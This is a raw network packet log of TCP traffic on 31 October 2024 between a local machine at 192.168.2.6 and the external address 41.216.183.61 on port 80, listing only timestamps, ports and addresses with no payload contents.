Oct 31, 2024 01:19:09.737992048 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.737998962 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.738012075 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738019943 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.738046885 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.738353014 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738380909 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738390923 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738404036 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738405943 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.738445997 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.738476038 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738493919 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738506079 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738514900 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.738558054 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.738701105 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738735914 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738749027 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738751888 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.738795042 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.738807917 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738863945 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.738868952 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738879919 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738890886 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.738913059 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.738936901 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.739085913 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.739115000 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.739125967 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.739141941 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.739176035 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.739222050 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.739233017 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.739249945 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.739274025 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.739310026 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.739310026 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.739355087 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.739419937 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.739430904 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.739442110 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.739465952 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.739504099 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.739557028 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.739567995 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.739605904 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.741770029 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.741780996 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.741791964 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.741831064 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.741838932 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.741849899 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.741864920 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.741899014 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.741909981 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.741930962 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.741942883 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.741945982 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.741992950 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.742053032 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.742063046 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.742105007 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.742825031 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.742875099 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.742876053 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.742889881 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.742922068 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.742983103 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.742994070 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.743005037 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.743016958 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.743033886 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.743036032 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.743048906 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.743062019 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.743071079 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.743083000 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.743088961 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.743139029 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.743169069 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.743213892 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.743248940 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.743267059 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.743287086 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.743302107 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.743319035 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.743320942 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.743320942 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.743369102 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.757579088 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.757616043 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.757647991 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.757683992 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.757744074 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.885513067 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885534048 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885550976 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885561943 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885571957 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885584116 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885617971 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.885660887 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885689020 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.885704994 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885710001 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.885751009 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.885790110 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885833979 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.885881901 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885900021 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885912895 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885921955 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.885924101 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885935068 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885942936 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.885960102 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885968924 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.885972023 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885982990 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.885994911 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886029959 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886049986 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886060953 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886065960 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886070967 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886101007 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886128902 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886136055 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886178017 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886182070 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886192083 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886231899 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886260033 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886298895 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886302948 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886308908 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886324883 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886343002 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886368036 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886459112 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886476040 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886485100 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886498928 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886519909 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886531115 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886540890 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886542082 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886574984 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886598110 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886620998 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886631966 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886642933 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886667967 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886703968 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886706114 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886714935 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886724949 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886744976 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886764050 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886771917 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886795044 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886805058 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886814117 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886851072 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886914015 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886924982 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886934996 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.886960983 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.886987925 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.887023926 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.887048006 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.887058973 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.887063026 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.887084961 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.887103081 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.887104988 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.887115955 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.887125969 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.887154102 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.887196064 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.890703917 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.890717983 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.890737057 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.890752077 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.890788078 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.890815973 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.890896082 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.890912056 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.890923023 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.890933037 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.890942097 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.890944958 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.890955925 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.890966892 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.890978098 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.890988111 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.890993118 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.891000032 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891011953 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891051054 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.891063929 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.891151905 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891163111 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891172886 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891197920 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891201973 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.891222954 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.891253948 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.891283989 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891294956 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891305923 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891324043 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891338110 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.891340971 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891391993 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.891490936 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891503096 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891519070 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891529083 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891540051 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891549110 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.891551971 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891565084 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891576052 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891606092 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.891659021 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.891827106 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891838074 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891848087 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891859055 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891870022 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891876936 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.891905069 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891916037 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891922951 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.891926050 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891937971 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891948938 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891959906 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891971111 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891979933 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.891980886 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.891990900 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.892003059 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.892004013 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.892014980 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.892026901 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.892038107 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.892044067 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.892047882 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.892066956 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.892091990 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.892129898 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.892307997 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.892338037 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.892349005 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.892354012 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.892373085 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.892406940 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.929318905 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.929435968 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.929480076 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.929491043 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.929500103 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:09.929541111 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:09.929606915 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.027215958 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027232885 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027244091 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027363062 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027374029 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027384996 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027403116 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027419090 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027424097 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.027431011 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027441978 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027453899 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027465105 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027517080 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.027652025 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027662992 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027674913 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027686119 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027693033 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.027704954 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027750015 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027760029 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027766943 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027769089 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.027772903 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027779102 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027833939 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027844906 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027849913 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027884007 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027893066 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.027895927 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027909994 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027920961 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.027981043 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.028053045 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030033112 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030045033 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030055046 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030092001 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030092001 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030102968 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030112982 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030124903 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030143023 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030148029 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030163050 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030170918 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030174971 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030184984 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030194998 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030208111 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030219078 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030256987 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030313969 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030353069 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030391932 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030401945 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030412912 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030427933 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030457020 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030468941 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030483007 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030498981 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030519962 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030540943 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030546904 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030585051 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030622005 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030633926 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030644894 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030656099 CET	80	49993	41.216.183.61	192.168.2.6
